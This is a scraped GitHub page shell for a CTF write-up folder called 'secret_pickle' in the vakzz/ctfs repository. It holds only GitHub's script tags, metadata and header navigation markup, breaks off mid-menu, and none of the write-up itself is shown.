src="https://github.githubassets.com/assets/vendors-node_modules_github_auto-complete-element_dist_index_js-node_modules_github_catalyst_-6afc16-e779583c369f.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/vendors-node_modules_github_file-attachment-element_dist_index_js-node_modules_github_text-ex-3415a8-7ecc10fb88d0.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/vendors-node_modules_github_filter-input-element_dist_index_js-node_modules_github_remote-inp-79182d-befd2b2f5880.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/vendors-node_modules_primer_view-components_app_components_primer_primer_js-node_modules_gith-6a1af4-df3bc95b06d3.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/github-elements-fc0e0b89822a.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/element-registry-1641411db24a.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/vendors-node_modules_lit-html_lit-html_js-9d9fe1859ce5.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/vendors-node_modules_manuelpuyol_turbo_dist_turbo_es2017-esm_js-4140d67f0cc2.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/vendors-node_modules_github_mini-throttle_dist_index_js-node_modules_github_alive-client_dist-bf5aa2-424aa982deef.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/vendors-node_modules_primer_behaviors_dist_esm_dimensions_js-node_modules_github_hotkey_dist_-9fc4f4-d434ddaf3207.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/vendors-node_modules_color-convert_index_js-35b3ae68c408.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/vendors-node_modules_github_remote-form_dist_index_js-node_modules_github_session-resume_dist-def857-2a32d97c93c5.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/vendors-node_modules_github_paste-markdown_dist_index_esm_js-node_modules_github_quote-select-15ddcc-1512e06cfee0.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/app_assets_modules_github_updatable-content_ts-430cacb5f7df.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/app_assets_modules_github_behaviors_keyboard-shortcuts-helper_ts-app_assets_modules_github_be-f5afdb-8dd5f026c5b9.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/app_assets_modules_github_sticky-scroll-into-view_ts-0af96d15a250.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/app_assets_modules_github_behaviors_include-fragment_ts-app_assets_modules_github_behaviors_r-4077b4-75370d1c1705.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/app_assets_modules_github_behaviors_commenting_edit_ts-app_assets_modules_github_behaviors_ht-83c235-7883159efa9e.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/behaviors-742151da9690.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/vendors-node_modules_delegated-events_dist_index_js-node_modules_github_catalyst_lib_index_js-06ff531-32d7d1e94817.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/notifications-global-f5b58d24780b.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/vendors-node_modules_morphdom_dist_morphdom-esm_js-node_modules_github_template-parts_lib_index_js-58417dae193c.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/vendors-node_modules_virtualized-list_es_index_js-node_modules_github_memoize_dist_esm_index_js-8496b7c4b809.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/vendors-node_modules_github_remote-form_dist_index_js-node_modules_delegated-events_dist_inde-70450e-0370b887db62.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/app_assets_modules_github_ref-selector_ts-7bdefeb88a1a.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/codespaces-d1ede1f1114e.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/vendors-node_modules_github_filter-input-element_dist_index_js-node_modules_github_mini-throt-a33094-b03defd3289b.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/vendors-node_modules_github_file-attachment-element_dist_index_js-node_modules_github_mini-th-85225b-226fc85f9b72.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/repositories-8093725f8825.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/topic-suggestions-7a1f0da7430a.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/code-menu-89d93a449480.js"></script> <title>ctfs/Blaze2018/secret_pickle at master · vakzz/ctfs · GitHub</title> <meta name="route-pattern" content="/:user_id/:repository/tree/*name(/*path)"> <meta name="current-catalog-service-hash" content="343cff545437bc2b0304c97517abf17bb80d9887520078e9757df416551ef5d6"> <meta name="request-id" content="A897:6BE1:1C8AC2D5:1D617CEC:64122683" data-pjax-transient="true"/><meta name="html-safe-nonce" content="20bb9bc6a1a0ddba62b23a4219f68ef982bd77e5bfbc6dab7e895a70078b1cf0" data-pjax-transient="true"/><meta name="visitor-payload" content="eyJyZWZlcnJlciI6IiIsInJlcXVlc3RfaWQiOiJBODk3OjZCRTE6MUM4QUMyRDU6MUQ2MTdDRUM6NjQxMjI2ODMiLCJ2aXNpdG9yX2lkIjoiMjE5NjEyNDU1NTk2MzM2NzcxIiwicmVnaW9uX2VkZ2UiOiJmcmEiLCJyZWdpb25fcmVuZGVyIjoiZnJhIn0=" data-pjax-transient="true"/><meta name="visitor-hmac" content="4ef6c2ba62314d3bbe086013e172a501b885d611e9a77dd6f1032394d0f68e75" data-pjax-transient="true"/> <meta name="hovercard-subject-tag" content="repository:121378338" data-turbo-transient> <meta name="github-keyboard-shortcuts" content="repository,source-code,file-tree" data-turbo-transient="true" /> <meta name="selected-link" value="repo_source" data-turbo-transient> <meta name="google-site-verification" content="c1kuD-K2HIVF635lypcsWPoD4kilo5-jA_wBFyT4uMY"> <meta name="google-site-verification" content="KT5gs8h0wvaagLKAVWq8bbeNwnZZK1r1XQysX3xurLU"> <meta name="google-site-verification" content="ZzhVyEFwb7w3e0-uOTltm8Jsck2F5StVihD0exw2fsA"> <meta name="google-site-verification" content="GXs5KoUUkNCoaAZn7wPN-t01Pywp9M3sEjnt_3_ZWPc"> <meta name="google-site-verification" content="Apib7-x98H0j5cPqHWwSMm6dNU4GmODRoqxLiDzdx9I"> <meta name="octolytics-url" content="https://collector.github.com/github/collect" /> <meta name="analytics-location" content="/<user-name>/<repo-name>/files/disambiguate" data-turbo-transient="true" /> <meta name="user-login" content=""> <meta name="viewport" content="width=device-width"> <meta name="description" content="Place to hold writeups. Contribute to vakzz/ctfs development by creating an account on GitHub."> <link rel="search" type="application/opensearchdescription+xml" href="/opensearch.xml" title="GitHub"> <link rel="fluid-icon" href="https://github.com/fluidicon.png" title="GitHub"> <meta property="fb:app_id" content="1401488693436528"> <meta name="apple-itunes-app" content="app-id=1477376905" /> <meta name="twitter:image:src" content="https://opengraph.githubassets.com/9dd940e94dc260f9a684ef6d63ee759f7052eb421ed493aa2b32a4d9771417b2/vakzz/ctfs" /><meta name="twitter:site" content="@github" /><meta name="twitter:card" content="summary_large_image" /><meta name="twitter:title" content="ctfs/Blaze2018/secret_pickle at master · vakzz/ctfs" /><meta name="twitter:description" content="Place to hold writeups. Contribute to vakzz/ctfs development by creating an account on GitHub." /> <meta property="og:image" content="https://opengraph.githubassets.com/9dd940e94dc260f9a684ef6d63ee759f7052eb421ed493aa2b32a4d9771417b2/vakzz/ctfs" /><meta property="og:image:alt" content="Place to hold writeups. Contribute to vakzz/ctfs development by creating an account on GitHub." /><meta property="og:image:width" content="1200" /><meta property="og:image:height" content="600" /><meta property="og:site_name" content="GitHub" /><meta property="og:type" content="object" /><meta property="og:title" content="ctfs/Blaze2018/secret_pickle at master · vakzz/ctfs" /><meta property="og:url" content="https://github.com/vakzz/ctfs" /><meta property="og:description" content="Place to hold writeups. Contribute to vakzz/ctfs development by creating an account on GitHub." /> <link rel="assets" href="https://github.githubassets.com/"> <meta name="hostname" content="github.com"> <meta name="expected-hostname" content="github.com"> <meta name="enabled-features" content="TURBO_EXPERIMENT_RISKY,IMAGE_METRIC_TRACKING,GEOJSON_AZURE_MAPS"> <meta http-equiv="x-pjax-version" content="ef97471de14f8d2285f0269e8f0f7dc70845f693d3f6ccd2dd2daae5cd1bbebe" data-turbo-track="reload"> <meta http-equiv="x-pjax-csp-version" content="2a84822a832da97f1ea76cf989a357ec70c85713a2fd8f14c8421b76bbffe38c" data-turbo-track="reload"> <meta http-equiv="x-pjax-css-version" content="adfc12179419e463f9f320d07920b1684c9b7e060d4d9cd3a6cd5d0de37ce710" data-turbo-track="reload"> <meta http-equiv="x-pjax-js-version" content="711646ae23abb27cf728346f30f81c042d4428233a0795acf0e21ed664fe9d94" data-turbo-track="reload"> <meta name="turbo-cache-control" content="no-preview" data-turbo-transient=""> <meta data-hydrostats="publish"> <meta name="go-import" content="github.com/vakzz/ctfs git https://github.com/vakzz/ctfs.git"> <meta name="octolytics-dimension-user_id" content="26542189" /><meta name="octolytics-dimension-user_login" content="vakzz" /><meta name="octolytics-dimension-repository_id" content="121378338" /><meta name="octolytics-dimension-repository_nwo" content="vakzz/ctfs" /><meta name="octolytics-dimension-repository_public" content="true" /><meta name="octolytics-dimension-repository_is_fork" content="false" /><meta name="octolytics-dimension-repository_network_root_id" content="121378338" /><meta name="octolytics-dimension-repository_network_root_nwo" content="vakzz/ctfs" /> <link rel="canonical" href="https://github.com/vakzz/ctfs/tree/master/Blaze2018/secret_pickle" data-turbo-transient> <meta name="turbo-body-classes" content="logged-out env-production page-responsive"> <meta name="browser-stats-url" content="https://api.github.com/_private/browser/stats"> <meta name="browser-errors-url" content="https://api.github.com/_private/browser/errors"> <meta name="browser-optimizely-client-errors-url" content="https://api.github.com/_private/browser/optimizely_client/errors"> <link rel="mask-icon" href="https://github.githubassets.com/pinned-octocat.svg" color="#000000"> <link rel="alternate icon" class="js-site-favicon" type="image/png" href="https://github.githubassets.com/favicons/favicon.png"> <link rel="icon" class="js-site-favicon" type="image/svg+xml" href="https://github.githubassets.com/favicons/favicon.svg"> <meta name="theme-color" content="#1e2327"><meta name="color-scheme" content="light dark" /> <link rel="manifest" href="/manifest.json" crossOrigin="use-credentials"> </head> <body class="logged-out env-production page-responsive" style="word-wrap: break-word;"> <div data-turbo-body class="logged-out env-production page-responsive" style="word-wrap: break-word;"> <div class="position-relative js-header-wrapper "> Skip to content <span> <span></span></span> <script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/vendors-node_modules_github_remote-form_dist_index_js-node_modules_delegated-events_dist_inde-94fd67-04fa93bb158a.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/sessions-9920eaa99f50.js"></script><header class="Header-old header-logged-out js-details-container Details position-relative f4 py-3" role="banner"> <button type="button" class="Header-backdrop d-lg-none border-0 position-fixed top-0 left-0 width-full height-full js-details-target" aria-label="Toggle navigation"> <span>Toggle navigation</span> </button> <div class="container-xl d-flex flex-column flex-lg-row flex-items-center p-responsive height-full position-relative z-1"> <div class="d-flex flex-justify-between flex-items-center width-full width-lg-auto"> <svg height="32" aria-hidden="true" viewBox="0 0 16 16" version="1.1" width="32" data-view-component="true" class="octicon octicon-mark-github"> <path d="M8 0c4.42 0 8 3.58 8 8a8.013 8.013 0 0 1-5.45 7.59c-.4.08-.55-.17-.55-.38 0-.27.01-1.13.01-2.2 0-.75-.25-1.23-.54-1.48 1.78-.2 3.65-.88 3.65-3.95 0-.88-.31-1.59-.82-2.15.08-.2.36-1.02-.08-2.12 0 0-.67-.22-2.2.82-.64-.18-1.32-.27-2-.27-.68 0-1.36.09-2 .27-1.53-1.03-2.2-.82-2.2-.82-.44 1.1-.16 1.92-.08 2.12-.51.56-.82 1.28-.82 2.15 0 3.06 1.86 3.75 3.64 3.95-.23.2-.44.55-.51 1.07-.46.21-1.61.55-2.33-.66-.15-.24-.6-.83-1.23-.82-.67.01-.27.38.01.53.34.19.73.9.82 1.13.16.45.68 1.31 2.69.94 0 .67.01 1.3.01 1.49 0 .21-.15.45-.55.38A7.995 7.995 0 0 1 0 8c0-4.42 3.58-8 8-8Z"></path></svg> <div class="flex-1"> Sign up </div> <div class="flex-1 flex-order-2 text-right"> <button aria-label="Toggle navigation" aria-expanded="false" type="button" data-view-component="true" class="js-details-target Button--link Button--medium Button d-lg-none color-fg-inherit p-1"> <span> <span><div class="HeaderMenu-toggle-bar rounded my-1"></div> <div class="HeaderMenu-toggle-bar rounded my-1"></div> <div class="HeaderMenu-toggle-bar rounded my-1"></div></span> </span></button> </div> </div> <div class="HeaderMenu--logged-out p-responsive height-fit position-lg-relative d-lg-flex flex-column flex-auto pt-7 pb-4 top-0"> <div class="header-menu-wrapper d-flex flex-column flex-self-end flex-lg-row flex-justify-between flex-auto p-3 p-lg-0 rounded rounded-lg-0 mt-3 mt-lg-0"> <nav class="mt-0 px-3 px-lg-0 mb-3 mb-lg-0" aria-label="Global"> <button type="button" class="HeaderMenu-link border-0 width-full width-lg-auto px-0 px-lg-2 py-3 py-lg-2 no-wrap d-flex flex-items-center flex-justify-between js-details-target" aria-expanded="false"> Product <svg opacity="0.5" aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-chevron-down HeaderMenu-icon ml-1"> <path d="M12.78 5.22a.749.749 0 0 1 0 1.06l-4.25 4.25a.749.749 0 0 1-1.06 0L3.22 6.28a.749.749 0 1 1 1.06-1.06L8 8.939l3.72-3.719a.749.749 0 0 1 1.06 0Z"></path></svg> </button> <div class="HeaderMenu-dropdown dropdown-menu rounded m-0 p-0 py-2 py-lg-4 position-relative position-lg-absolute left-0 left-lg-n3 d-lg-flex dropdown-menu-wide"> <svg aria-hidden="true" height="24" viewBox="0 0 24 24" version="1.1" width="24" data-view-component="true" class="octicon octicon-workflow color-fg-subtle mr-3"> <path d="M1 3a2 2 0 0 1 2-2h6.5a2 2 0 0 1 2 2v6.5a2 2 0 0 1-2 2H7v4.063C7 16.355 7.644 17 8.438 17H12.5v-2.5a2 2 0 0 1 2-2H21a2 2 0 0 1 2 2V21a2 2 0 0 1-2 2h-6.5a2 2 0 0 1-2-2v-2.5H8.437A2.939 2.939 0 0 1 5.5 15.562V11.5H3a2 2 0 0 1-2-2Zm2-.5a.5.5 0 0 0-.5.5v6.5a.5.5 0 0 0 .5.5h6.5a.5.5 0 0 0 .5-.5V3a.5.5 0 0 0-.5-.5ZM14.5 14a.5.5 0 0 0-.5.5V21a.5.5 0 0 0 .5.5H21a.5.5 0 0 0 .5-.5v-6.5a.5.5 0 0 0-.5-.5Z"></path></svg> <div> <div class="color-fg-default h4">Actions</div> Automate any workflow </div> <svg aria-hidden="true" height="24" viewBox="0 0 24 24" version="1.1" width="24" data-view-component="true" class="octicon octicon-package color-fg-subtle mr-3"> <path d="M12.876.64V.639l8.25 4.763c.541.313.875.89.875 1.515v9.525a1.75 1.75 0 0 1-.875 1.516l-8.25 4.762a1.748 1.748 0 0 1-1.75 0l-8.25-4.763a1.75 1.75 0 0 1-.875-1.515V6.917c0-.625.334-1.202.875-1.515L11.126.64a1.748 1.748 0 0 1 1.75 0Zm-1 1.298L4.251 6.34l7.75 4.474 7.75-4.474-7.625-4.402a.248.248 0 0 0-.25 0Zm.875 19.123 7.625-4.402a.25.25 0 0 0 .125-.216V7.639l-7.75 4.474ZM3.501 7.64v8.803c0 .09.048.172.125.216l7.625 4.402v-8.947Z"></path></svg> <div> <div class="color-fg-default h4">Packages</div> Host and manage packages </div> <svg aria-hidden="true" height="24" viewBox="0 0 24 24" version="1.1" width="24" data-view-component="true" class="octicon octicon-shield-check color-fg-subtle mr-3"> <path d="M16.53 9.78a.75.75 0 0 0-1.06-1.06L11 13.19l-1.97-1.97a.75.75 0 0 0-1.06 1.06l2.5 2.5a.75.75 0 0 0 1.06 0l5-5Z"></path><path d="m12.54.637 8.25 2.675A1.75 1.75 0 0 1 22 4.976V10c0 6.19-3.771 10.704-9.401 12.83a1.704 1.704 0 0 1-1.198 0C5.77 20.705 2 16.19 2 10V4.976c0-.758.489-1.43 1.21-1.664L11.46.637a1.748 1.748 0 0 1 1.08 0Zm-.617 1.426-8.25 2.676a.249.249 0 0 0-.173.237V10c0 5.46 3.28 9.483 8.43 11.426a.199.199 0 0 0 .14 0C17.22 19.483 20.5 15.461 20.5 10V4.976a.25.25 0 0 0-.173-.237l-8.25-2.676a.253.253 0 0 0-.154 0Z"></path></svg> <div> <div class="color-fg-default h4">Security</div> Find and fix vulnerabilities </div> <svg aria-hidden="true" height="24" viewBox="0 0 24 24" version="1.1" width="24" data-view-component="true" class="octicon octicon-codespaces color-fg-subtle mr-3"> <path d="M3.5 3.75C3.5 2.784 4.284 2 5.25 2h13.5c.966 0 1.75.784 1.75 1.75v7.5A1.75 1.75 0 0 1 18.75 13H5.25a1.75 1.75 0 0 1-1.75-1.75Zm-2 12c0-.966.784-1.75 1.75-1.75h17.5c.966 0 1.75.784 1.75 1.75v4a1.75 1.75 0 0 1-1.75 1.75H3.25a1.75 1.75 0 0 1-1.75-1.75ZM5.25 3.5a.25.25 0 0 0-.25.25v7.5c0 .138.112.25.25.25h13.5a.25.25 0 0 0 .25-.25v-7.5a.25.25 0 0 0-.25-.25Zm-2 12a.25.25 0 0 0-.25.25v4c0 .138.112.25.25.25h17.5a.25.25 0 0 0 .25-.25v-4a.25.25 0 0 0-.25-.25Z"></path><path d="M10 17.75a.75.75 0 0 1 .75-.75h6.5a.75.75 0 0 1 0 1.5h-6.5a.75.75 0 0 1-.75-.75Zm-4 0a.75.75 0 0 1 .75-.75h.5a.75.75 0 0 1 0 1.5h-.5a.75.75 0 0 1-.75-.75Z"></path></svg> <div> <div class="color-fg-default h4">Codespaces</div> Instant dev environments </div> <svg aria-hidden="true" height="24" viewBox="0 0 24 24" version="1.1" width="24" data-view-component="true" class="octicon octicon-copilot color-fg-subtle mr-3"> <path d="M9.75 14a.75.75 0 0 1 .75.75v2.5a.75.75 0 0 1-1.5 0v-2.5a.75.75 0 0 1 .75-.75Zm4.5 0a.75.75 0 0 1 .75.75v2.5a.75.75 0 0 1-1.5 0v-2.5a.75.75 0 0 1 .75-.75Z"></path><path d="M12 2c2.214 0 4.248.657 5.747 1.756.136.099.268.204.397.312.584.235 1.077.546 1.474.952.85.869 1.132 2.037 1.132 3.368 0 .368-.014.733-.052 1.086l.633 1.478.043.022A4.75 4.75 0 0 1 24 15.222v1.028c0 .529-.309.987-.565 1.293-.28.336-.636.653-.966.918a13.84 13.84 0 0 1-1.299.911l-.024.015-.006.004-.039.025c-.223.135-.45.264-.68.386-.46.245-1.122.571-1.941.895C16.845 21.344 14.561 22 12 22c-2.561 0-4.845-.656-6.479-1.303a19.046 19.046 0 0 1-1.942-.894 14.081 14.081 0 0 1-.535-.3l-.144-.087-.04-.025-.006-.004-.024-.015a13.16 13.16 0 0 1-1.299-.911 6.913 6.913 0 0 1-.967-.918C.31 17.237 0 16.779 0 16.25v-1.028a4.75 4.75 0 0 1 2.626-4.248l.043-.022.633-1.478a10.195 10.195 0 0 1-.052-1.086c0-1.331.282-2.498 1.132-3.368.397-.406.89-.717 1.474-.952.129-.108.261-.213.397-.312C7.752 2.657 9.786 2 12 2Zm-8 9.654v6.669a17.59 17.59 0 0 0 2.073.98C7.595 19.906 9.686 20.5 12 20.5c2.314 0 4.405-.594 5.927-1.197a17.59 17.59 0 0 0 2.073-.98v-6.669l-.038-.09c-.046.061-.095.12-.145.177-.793.9-2.057 1.259-3.782 1.259-1.59 0-2.738-.544-3.508-1.492a4.323 4.323 0 0 1-.355-.508h-.344a4.323 4.323 0 0 1-.355.508C10.704 12.456 9.555 13 7.965 13c-1.725 0-2.989-.359-3.782-1.259a3.026 3.026 0 0 1-.145-.177Zm6.309-1.092c.445-.547.708-1.334.851-2.301.057-.357.087-.718.09-1.079v-.031c-.001-.762-.166-1.26-.43-1.568l-.008-.01c-.341-.391-1.046-.689-2.533-.529-1.505.163-2.347.537-2.824 1.024-.462.473-.705 1.18-.705 2.32 0 .605.044 1.087.135 1.472.092.384.231.672.423.89.365.413 1.084.75 2.657.75.91 0 1.527-.223 1.964-.564.14-.11.268-.235.38-.374Zm2.504-2.497c.136 1.057.403 1.913.878 2.497.442.545 1.134.938 2.344.938 1.573 0 2.292-.337 2.657-.751.384-.435.558-1.151.558-2.361 0-1.14-.243-1.847-.705-2.319-.477-.488-1.318-.862-2.824-1.025-1.487-.161-2.192.139-2.533.529-.268.308-.437.808-.438 1.578v.02c.002.299.023.598.063.894Z"></path></svg> <div> <div class="color-fg-default h4">Copilot</div> Write better code with AI </div> <svg aria-hidden="true" height="24" viewBox="0 0 24 24" version="1.1" width="24" data-view-component="true" class="octicon octicon-code-review color-fg-subtle mr-3"> <path d="M10.3 6.74a.75.75 0 0 1-.04 1.06l-2.908 2.7 2.908 2.7a.75.75 0 1 1-1.02 1.1l-3.5-3.25a.75.75 0 0 1 0-1.1l3.5-3.25a.75.75 0 0 1 1.06.04Zm3.44 1.06a.75.75 0 1 1 1.02-1.1l3.5 3.25a.75.75 0 0 1 0 1.1l-3.5 3.25a.75.75 0 1 1-1.02-1.1l2.908-2.7-2.908-2.7Z"></path><path d="M1.5 4.25c0-.966.784-1.75 1.75-1.75h17.5c.966 0 1.75.784 1.75 1.75v12.5a1.75 1.75 0 0 1-1.75 1.75h-9.69l-3.573 3.573A1.458 1.458 0 0 1 5 21.043V18.5H3.25a1.75 1.75 0 0 1-1.75-1.75ZM3.25 4a.25.25 0 0 0-.25.25v12.5c0 .138.112.25.25.25h2.5a.75.75 0 0 1 .75.75v3.19l3.72-3.72a.749.749 0 0 1 .53-.22h10a.25.25 0 0 0 .25-.25V4.25a.25.25 0 0 0-.25-.25Z"></path></svg> <div> <div class="color-fg-default h4">Code review</div> Manage code changes </div> <svg aria-hidden="true" height="24" viewBox="0 0 24 24" version="1.1" width="24" data-view-component="true" class="octicon octicon-issue-opened color-fg-subtle mr-3"> <path d="M12 1c6.075 0 11 4.925 11 11s-4.925 11-11 11S1 18.075 1 12 5.925 1 12 1ZM2.5 12a9.5 9.5 0 0 0 9.5 9.5 9.5 9.5 0 0 0 9.5-9.5A9.5 9.5 0 0 0 12 2.5 9.5 9.5 0 0 0 2.5 12Zm9.5 2a2 2 0 1 1-.001-3.999A2 2 0 0 1 12 14Z"></path></svg> <div> <div class="color-fg-default h4">Issues</div> Plan and track work </div> <svg aria-hidden="true" height="24" viewBox="0 0 24 24" version="1.1" width="24" data-view-component="true" class="octicon octicon-comment-discussion color-fg-subtle mr-3"> <path d="M1.75 1h12.5c.966 0 1.75.784 1.75 1.75v9.5A1.75 1.75 0 0 1 14.25 14H8.061l-2.574 2.573A1.458 1.458 0 0 1 3 15.543V14H1.75A1.75 1.75 0 0 1 0 12.25v-9.5C0 1.784.784 1 1.75 1ZM1.5 2.75v9.5c0 .138.112.25.25.25h2a.75.75 0 0 1 .75.75v2.19l2.72-2.72a.749.749 0 0 1 .53-.22h6.5a.25.25 0 0 0 .25-.25v-9.5a.25.25 0 0 0-.25-.25H1.75a.25.25 0 0 0-.25.25Z"></path><path d="M22.5 8.75a.25.25 0 0 0-.25-.25h-3.5a.75.75 0 0 1 0-1.5h3.5c.966 0 1.75.784 1.75 1.75v9.5A1.75 1.75 0 0 1 22.25 20H21v1.543a1.457 1.457 0 0 1-2.487 1.03L15.939 20H10.75A1.75 1.75 0 0 1 9 18.25v-1.465a.75.75 0 0 1 1.5 0v1.465c0 .138.112.25.25.25h5.5a.75.75 0 0 1 .53.22l2.72 2.72v-2.19a.75.75 0 0 1 .75-.75h2a.25.25 0 0 0 .25-.25v-9.5Z"></path></svg> <div> <div class="color-fg-default h4">Discussions</div> Collaborate outside of code </div> Explore All features Documentation <svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-link-external HeaderMenu-external-icon color-fg-subtle"> <path d="M3.75 2h3.5a.75.75 0 0 1 0 1.5h-3.5a.25.25 0 0 0-.25.25v8.5c0 .138.112.25.25.25h8.5a.25.25 0 0 0 .25-.25v-3.5a.75.75 0 0 1 1.5 0v3.5A1.75 1.75 0 0 1 12.25 14h-8.5A1.75 1.75 0 0 1 2 12.25v-8.5C2 2.784 2.784 2 3.75 2Zm6.854-1h4.146a.25.25 0 0 1 .25.25v4.146a.25.25 0 0 1-.427.177L13.03 4.03 9.28 7.78a.751.751 0 0 1-1.042-.018.751.751 0 0 1-.018-1.042l3.75-3.75-1.543-1.543A.25.25 0 0 1 10.604 1Z"></path></svg> GitHub Skills <svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-link-external HeaderMenu-external-icon color-fg-subtle"> <path d="M3.75 2h3.5a.75.75 0 0 1 0 1.5h-3.5a.25.25 0 0 0-.25.25v8.5c0 .138.112.25.25.25h8.5a.25.25 0 0 0 .25-.25v-3.5a.75.75 0 0 1 1.5 0v3.5A1.75 1.75 0 0 1 12.25 14h-8.5A1.75 1.75 0 0 1 2 12.25v-8.5C2 2.784 2.784 2 3.75 2Zm6.854-1h4.146a.25.25 0 0 1 .25.25v4.146a.25.25 0 0 1-.427.177L13.03 4.03 9.28 7.78a.751.751 0 0 1-1.042-.018.751.751 0 0 1-.018-1.042l3.75-3.75-1.543-1.543A.25.25 0 0 1 10.604 1Z"></path></svg> Blog <svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-link-external HeaderMenu-external-icon color-fg-subtle"> <path d="M3.75 2h3.5a.75.75 0 0 1 0 1.5h-3.5a.25.25 0 0 0-.25.25v8.5c0 .138.112.25.25.25h8.5a.25.25 0 0 0 .25-.25v-3.5a.75.75 0 0 1 1.5 0v3.5A1.75 1.75 0 0 1 12.25 14h-8.5A1.75 1.75 0 0 1 2 12.25v-8.5C2 2.784 2.784 2 3.75 2Zm6.854-1h4.146a.25.25 0 0 1 .25.25v4.146a.25.25 0 0 1-.427.177L13.03 4.03 9.28 7.78a.751.751 0 0 1-1.042-.018.751.751 0 0 1-.018-1.042l3.75-3.75-1.543-1.543A.25.25 0 0 1 10.604 1Z"></path></svg> </div> <button type="button" class="HeaderMenu-link border-0 width-full width-lg-auto px-0 px-lg-2 py-3 py-lg-2 no-wrap d-flex flex-items-center flex-justify-between js-details-target" aria-expanded="false"> Solutions <svg opacity="0.5" aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-chevron-down HeaderMenu-icon ml-1"> <path d="M12.78 5.22a.749.749 0 0 1 0 1.06l-4.25 4.25a.749.749 0 0 1-1.06 0L3.22 6.28a.749.749 0 1 1 1.06-1.06L8 8.939l3.72-3.719a.749.749 0 0 1 1.06 0Z"></path></svg> </button> <div class="HeaderMenu-dropdown dropdown-menu rounded m-0 p-0 py-2 py-lg-4 position-relative position-lg-absolute left-0 left-lg-n3 px-lg-4"> For Enterprise Teams Startups Education <svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-link-external HeaderMenu-external-icon color-fg-subtle"> <path d="M3.75 2h3.5a.75.75 0 0 1 0 1.5h-3.5a.25.25 0 0 0-.25.25v8.5c0 .138.112.25.25.25h8.5a.25.25 0 0 0 .25-.25v-3.5a.75.75 0 0 1 1.5 0v3.5A1.75 1.75 0 0 1 12.25 14h-8.5A1.75 1.75 0 0 1 2 12.25v-8.5C2 2.784 2.784 2 3.75 2Zm6.854-1h4.146a.25.25 0 0 1 .25.25v4.146a.25.25 0 0 1-.427.177L13.03 4.03 9.28 7.78a.751.751 0 0 1-1.042-.018.751.751 0 0 1-.018-1.042l3.75-3.75-1.543-1.543A.25.25 0 0 1 10.604 1Z"></path></svg> By Solution CI/CD & Automation DevOps <svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-link-external HeaderMenu-external-icon color-fg-subtle"> <path d="M3.75 2h3.5a.75.75 0 0 1 0 1.5h-3.5a.25.25 0 0 0-.25.25v8.5c0 .138.112.25.25.25h8.5a.25.25 0 0 0 .25-.25v-3.5a.75.75 0 0 1 1.5 0v3.5A1.75 1.75 0 0 1 12.25 14h-8.5A1.75 1.75 0 0 1 2 12.25v-8.5C2 2.784 2.784 2 3.75 2Zm6.854-1h4.146a.25.25 0 0 1 .25.25v4.146a.25.25 0 0 1-.427.177L13.03 4.03 9.28 7.78a.751.751 0 0 1-1.042-.018.751.751 0 0 1-.018-1.042l3.75-3.75-1.543-1.543A.25.25 0 0 1 10.604 1Z"></path></svg> DevSecOps <svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-link-external HeaderMenu-external-icon color-fg-subtle"> <path d="M3.75 2h3.5a.75.75 0 0 1 0 